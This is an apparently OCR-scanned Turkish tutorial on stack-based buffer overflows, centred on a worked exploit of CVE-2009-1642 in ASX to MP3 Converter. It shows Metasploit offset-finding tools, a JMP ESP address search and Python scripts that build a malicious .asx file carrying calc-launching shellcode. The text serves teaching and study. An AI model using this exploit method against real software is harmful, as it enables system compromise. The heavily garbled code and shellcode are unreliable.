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Buffer overflow, Tiurkce meali ile arabellek tasmasi zafiyeti ilk olarak
1960’11 yillarda sistemlere sizmak icin istismar edilmeye baslandi. 1988
yilinda internet Uzerinden yayilan ve ilk solucan olmasi ile Unld olan Morris
solucani da arabellek tasmasi zafiyetini istismar ederek sistemlere siziyor
ve yayiliyordu. Arabellek tasmasi zafiyetinin kesfi ve istismar edilme
macerasl kimileri ic¢in uzun seneler 6nce basladi ve aradan 50 yil gecmis
olmasina ragmen bu zafiyet halen kesfedilmeye ve istismar edilmeye devam
edilmektedir.

Arabellek tasmasi zafiyetini tam olarak anlayabilmek, kendi istismar
aracinizi (exploit) hazirlayabilmek, bu konu ile ilgili yazilmis olan
makalelerde kaybolmamak ve Metasploit aracina bagimli kalmamak ig¢in C
programlama dili, Assembly programlama dili ve x86 mimarileri konularinda
bilgi sahibi olmaniz gerekmektedir.

1996 yilinda Phrack‘in 49. sayisinda yer alan Smashing The Stack For Fun And
Profit makalesi, arabellek tasmasi zafiyetlerinin istismar edilmesine blyuk
oranda ivme kazandirdi. Benim ic¢in ise bu macera 2004 yilinda, The
ShellCoder’s Handbook kitabini Amazon’dan siparis etmem ile baslamisti fakat
assembly konusunda hicbir bilgim olmadigi icin sadece okumakla yetinmis,
kafamda bir c¢ok soru isareti olusmustu. Ancak aradan zaman gecgtikge ve
assembly ile hasir nesir oldukca taslar daha hizli yerine oturdu.

Arabellek tasmasi kisaca ve kabaca hatali bir sekilde kullanilan
fonksiyonlardan (strcpy, sprintf vs.) olusan bir programda yer alan dinamik
degiskenlere (variable), saklama kapasitelerinden daha fazla miktarda veri
yuklenmesi ile olusan duruma denir. Kapasite asimi sayesinde programin akisi
degistirilerek normal akista yer almayan kodlar (komutlar) calistairilabilir.
(exploiting)

Yazim yigin tabanli bellek tasmasini (stack-based overflow) konu aldigi icin
oncelikle yigin (stack) nedir kisaca ondan bahsedeyim.

Yigin, programlarin dinamik degiskenlerinin (variable) gecici sireligine
hafizada tutuldugu bolgeye verilen isimdir. Bu bolgede tanimlanmis dinamik
degiskenler tutuldugu gibi bir fonksiyon cagrilmadan 6nce akisin fonksiyon
cagrildiktan sonra kaldigi yerden devam edebilmesi icin gereken adreste (geri
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donls adresi) tutulabilir, saklanabilir.

Bir fonksiyon cagrilmadan 6nce bu fonksiyonda kullanilacak olan parametreler
ile saklanmis, depolanmis (stored) EIP ve EBP kaydedicileri (register) yigina
(stack) kopyalanir. Fonksiyondaki islemler tamamlandiktan sonra saklanmis,

depolanmis (stored) EIP kaydedicisi (register) yigindan (stack) alinarak EIP

kaydedicisine kopyalanir ve programin akisi kaldigi yerden devam eder.

Ornek olarak A ve B fonksiyonundan olusan bir program diisiinelim ve A
fonksiyonu ig¢inden B fonksiyonunun cagrildigini ve 128 byte blylukligindeki
bir bellege (array) 136 byte uzunlugunda ve ‘A’ (0x41 hex degeri)
karakterinden olusan bir dizini (string) kopyaladigimizi varsayalim.

#include <string.h>

void B(char *buf)

{
char ms[128];
strcpy(ms, buffer);

int A (int argc, char **argv)
{

B(argv[1]);
}

Bu kopyalama neticesinde saklanmis EIP kaydedicisi (register) lzerine veri
yazabildigimiz ic¢in ve bu veri (adres), cagrilan fonksiyon tamamlandiktan
sonra EIP kaydedicisine kopyalanacagi ic¢in bu adresi degistirerek programin
akisini degistirebilmekteyiz.
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Bellege 136 bayttan daha fazla veri yazilacak olursa bu veriler yigina
kopyalanmaya devam edecektir. Bu durumda programa girdi olarak
calistirilmasini istedigimiz kodu belirtebilir ve akisi (stored EIP) bu koda
yonlendirerek (JMP ESP komutu)a arabellek tasmasi zafiyetini istismar
edebiliriz.

buffer[128]
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SHELLCODE

OxFFFFFFFF

Yigin tabanli arabellek tasmasi zafiyeti ve istismar edilmesi kisaca ve



kabaca bundan ibaret fakat bunu bir O6rnekle suslemeden yaziyi tamamlamak
amaca hizmet etmeyecegi icin hemen 6rnegimize gecelim.

Ornek olarak istismar edecedimiz programin adi ASX to MP3 Converter.
CVE-2009-1642 numarali CVE ID’sine gdore bu programin 3.0.0.7 slUruminde asx
uzantili dosyalarda kullanilan HREF nitelemesinde (attribute) yigin tabanli
arabellek tasmasi zafiyeti oldugu belirtiliyor.

Bu aciklama uzerine asx uzantili bir dosya yaratan ve icgine
“http://AAAAAAAAAAAA (30000 tane)” dizisi kopyalayan ufak bir program
hazirliyoruz ve daha sonrasinda programi calistirdigimizda EIP kaydedicisine
midahale ederek zafiyetin varligini teyit edebiliyoruz.
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Fakat kacinci bayttan itibaren EIP kaydedicisine yazdigimizi deneme yanilma
yolu ile tespit etmek zaman alacagi ic¢in hemen bu is ic¢in tasarlanmis olan ve
Metasploit araci ig¢inde yer alan pattern create uygulamasina basvuruyoruz ve
30000 bayt buyldkliginde bir dizi olusturarak bu diziyi programimiza
kopyalayarak calistiriyoruz. Bu defa EIP kaydedicisinde yer alan degeri
pattern offset uygulamasina girdi olarak verdigimizde uygulama bize kaginci
bayttan itibaren EIP kaydecisi Uzerine veri yazmaya basladigimizi belirtiyor.



e C:AWINDOWS\system32\cmd. exe

Ciwmaf3wmsf 3~tools »Co~Rubyl86 bin-ruby.exe pattern_create.rh
Uzage: pattern_create.rb length [zet al [zet hl [set cl

smaf3smsfIstools »*CisRBubyl 86 -hinsruby.exe pattern_create.rbh 308@A > bof .txt
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I bof.txt - Notepad
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*vull.py - C:\Documents and Settings\M dministrator\Desktopivull. py*

File Edit Format Run  Options Windows Help
#'!'/usr/bin/python

buf = "hallallaZlialiliadiasianla7iatha9ibh0ibhlibhdhidbhdibhSibeibh7iba3Ab9ac
retm=sn VR g

nop = "hwyx207" % 10

exp = "http:/ /" + buf + ret

file = open("™wuln.asx", "u")
file.write(exp)
file.closel)

print "write error"

7

Lm: 4 Cal: 13

EEAxr I HME+ | emtwhcecPkbzr.. s ?

AWINDOWS\system 32\cmd.exe

IC: \msF3~msf3I\tools >C:\Rubyl86-bhinsruby.exe pattern_offset

Usage: pattern_offset.rbh {(search item> {length of bufferd>

Default length of buffer if none is inserted: 8192

[This bhuffer is generated by pattern_create(> in the Rex library automatically

C:\nsf3msf3INtools>C:\Rubyl86/hin/ruby.exe pattern_offset.rh iB8Wi 300808
17425

C:msf3smsf3Ntools>,

Address
B

E :

| [13:24:30] Access violation when executing [36695735] - use Shift+F7/F8/F3 to pass exception to pragram | | Paused

Programimizi asagidaki sekilde gincelledikten sonra calistirdigimizda EIP
kaydedicisini tekrar kontrol ediyoruz.



vull.py - C:\Documents and Settings\Administrator\Desktopivull. py

File Edit Format Run  Options Windows Help
#'!'/usr/bin/python

# bhuf = "hallallaZlalladlaSiafnlaTiafladfib0ihlibs Abh3Ah4ibhSihalbhTALS AL
huf = '4' # {17425 - intilenistr{"http:// "117]

retm=n VR g

nop = "hwyx307" % 10

EXD "httﬂ:fﬁ" + huf + ret

file = open("™wuln.asx", "u")
file.write(exp)
file.closel)

print "write error"

Lm: 7 Cal: 11

| Immunity Debugger - ASX2MP3Converter.exe - [CPLU - main thread] @@m

Eile: w Debug  Immlib  Options ndow  Help Jobs

[ EE Axr N MHHLEAY 1 emtwhcPkbzr..

| [16:28:15] Access violation when executing [42424241] - use Shift+F7/F8/F3 to pass exception to program | | Paused

Fakat gorunen o ki EIP kaydedicisine fazladan 1 bayt A gelmis ve EIP
kaydedicisi 42424242 (BBBB) yerine 42424241 (BBBA) degerine sahip olmus.
Programimizda son bir degisiklik yaptiktan sonra asx uzantili dosyayi tekrar
olusturup programa yikledigimizde bu defa basariyla EIP kaydedicisi lzerine

istedigimiz degeri yazabildigimizi g6rebiliyoruz.



vull.py - C:\Documents and Settings\Administrator\Desktopivull. py

File Edit Format Run  Options Windows Help
#'!'/usr/bin/python

# bhuf = "hallallaZlalladlaSiafnlaTiafladfib0ihlibs Abh3Ah4ibhSihalbhTALS AL
huf = 'L' % (17425 — int{len(str{"http:// ")) - 1)

retm=n VR g

nop = "hwyx207" % 10

exp = "http:/ /" + buf + ret

file = open("™wuln.asx", "u")
file.write(exp)
file.closel)

print "write error"

Lm: 15/ Cal: 0

| Immunity Debugger - ASX2MP3Converter.exe - [CPLU - main thread]

Eile Yiew Debug Immlib Options ‘Window Help Jobs
[OEBEE x r I WHELEJ+ 1 emtwhcPkbzr..

| [16:2%:59] Access violation when executing [42424242] - use Shift+F7/FB/F9 to pass exception ko program | | Paused

Arabellek tasmasi ile yigina yeterli miktarda veri yazip yazamadigimizi
kontrol etmek icin (shellcode yiginda yer alacagi icin 400 bayt yeterli
olacaktir) programimiza asagidaki gibi bir stack degiskeni ekliyor, tekrar
calistiriyor ve yigina yazabildigimizi goériyoruz.



vull.py - C:\Documents and Settings\Administrator\Desktopivull. py
File Edit Format Run  Options Windows Help

#'!'/usr/bin/python

# bhuf = "hallallaZlalladlaSiafnlaTiafladfib0ihlibs Abh3Ah4ibhSihalbhTALS AL
huf = '4' # {17425 - int{lenistri{"http:// "1 = 1)

retm=n VR g

stack = 'Mert' * 1285

nop = "hwyx207" % 10

(= o B o oy e ﬂ huf + ret + stack

file = open("™wuln.asx", "u")
file.write(exp)
file.closel)

print "write error"

Lm: & Cal: 1?|

“ Immunity Debugger - ASX2MP 3Converter.exe - [CPU - main thread]

Eile Yiew Debug Immlib Options ‘Window Help Jobs
(OB EE «X r I MHIHEAY+ 1 emtwhcPkbezr..

FFFEFFF]
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| [16:32:19] Access violation when executing [42424242] - use Shift+F7/FB/F3 to pass exception to program | | Paused

Amacimiz hazirladigimiz kodu (shellcode) yigina yazmak ve depolanmis,
saklanmis EIP kaydedicisini yigina yonlendirmek (JMP ESP) oldugu icin
oncelikle Metasploit’in son suriminin yUkliu oldugu bilgisayarimizda (suan
icin 3.5.0) hesap makinasi uygulamasini calistiran kodu (shellcode)
olusturuyoruz. Ardindan yigina yonlendirmek i¢in kullanacagimiz assembly
komutunu yine diger bir Metasploit uygulamasi olan msfpescan ile ornek olarak
kernel32.dll dosyasi uUzerinde aratiyoruz. Son olarak istismar aracimizi elde
ettigimiz bu bilgiler ile gincelledikten ve calistirdiktan sonra
olusturdugumuz asx dosyasini ASX to MP3 Convertor uygulamasina


http://www.metasploit.com/framework/download/

yliklettigimizde hesap makinasi calisiyor ve mutlu sona ulasmis oluyoruz.
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e C:AWINDOWS\system32\cmd. exe

Ciwmaf3smsf 3 >CisRubyl 86 -binsruby.exe masfpescan —j esp Ciswindowsssystem3dZ2skernel
32._.d11

[C=swindowsssystemd2skernelld2 . dll]

Ax7cB28bc? push esp: retn BxBAAL
Ax7ci74413 jmp esp

Ciwmsf3wmsf3>

ex]1.py - C:\Documents and Settings\A dministrator\Deskioplexi. py

File Edit Format Run  Options Windows Help

#!'/usr/bin/python
struct

windows/execs - ZZ3 bytes

http://www.metasploit. com

Encoder: xBEIshikata_ga_nai

EXITFUNC=proceszs, CHD=calc

shellcode = "\ xb38Yxab' xde’ <ol x24h x3 14 ket kbl 232 xda’, 1ol 2doh 74 x2 4% £

R oH: H: H:

buf
ret
nop
EX

'h'o® (17425 - int(len(str("http:SS ™10 - 1)
gtruct.pack('<L', O0Xx7c374413) # jwmp esp - kernel3zZ.dll
hxQOr T 24

Thttp:/ /"™ + buf + ret + nop + shellcode

file = open(ex.asx", "uf)
file.write(exp)
file.closel)

print "write error™

Ln:ICDﬁal

Yillar icinde fazla sayida bellek tasmasi zafiyetinin ortaya c¢ikmis olmasi ve

bu zafiyetleri istismar eden solucanlarin sistemlere vermis oldugu zararin
milyon dolari bulmasi nedeniyle isletim sistemi Ureticileri yayinlamis
olduklari her yeni isletim sisteminde ve gelistirme platformlarinda bu
zafiyetlerin istismar edilmesini odnleyici bir dizi tedbir almistir. DEP, Exec
Shield, PaX, ASLR, GS (Buffer Security Check), StackGuard, GCC Stack-Smashing
Protector (ProPolice) bunlardan sadece bir kacidir. Fakat bu tedbirlerin bir



¢ogu bir sekilde atlatilabildigi icgin istismari zorlastirmaktan oteye
gidememislerdir.

Bir sonraki yazida goOrismek dilegiyle herkese givenli ginler dilerim..



